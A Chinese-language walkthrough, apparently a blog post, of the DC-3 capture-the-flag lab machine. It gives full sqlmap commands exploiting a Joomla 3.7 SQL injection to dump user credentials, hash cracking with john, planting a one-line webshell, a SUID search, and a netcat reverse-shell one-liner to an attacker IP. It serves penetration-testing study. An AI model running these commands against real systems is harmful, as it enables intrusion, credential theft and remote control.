下载地址链接: DC-3

nmap扫,只开了80端口,
网站信息,只有一个flag,并且要root权限

扫目录,README.txt,版本3.7,百度搜一下,sql注入漏洞,用sqlmap

sqlmap
查库
sqlmap -u "http://192.168.132.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
查表
sqlmap -u "http://192.168.132.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D"joomladb" --tables -p list[fullordering]
查列
sqlmap -u "http://192.168.132.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D"joomladb" -T"#__users" --columns -p list[fullordering]
列出
sqlmap -u "http://192.168.132.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D"joomladb" -T"#__users" -C"username,password"--dump -p list[fullordering]

加密的
将密码写入pass.txt中
用kali中的解密工具解密
john pass.txt

后台登入,写入一句话木马,冰蝎连接

既然要提权,先看能不能suid提权
find / -user root -perm -4000 -print 2>/dev/null

不能,先收集信息,没有提示先看看系统有什么漏洞


和百度搜到的一样,漏洞利用
下载,解压,编译。
注意需要将shell变成交互式的才能提权成功
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.85.139 9000 >/tmp/f #映射到msf上
python -c 'import pty;pty.spawn("/bin/bash")'#python交互

总结
DC-3没有提示,对我这样的新手来说还是难了些。
DC-3挑战:使用sqlmap进行漏洞检测与权限提升
文章描述了一次针对特定IP的网络安全渗透测试过程,使用nmap扫描开放端口,然后利用sqlmap检测SQL注入漏洞,并对数据库进行操作。在无法SUID提权的情况下,搜集系统信息,查找并利用潜在漏洞,通过创建交互式shell实现远程控制。
1176

被折叠的 条评论
为什么被折叠?



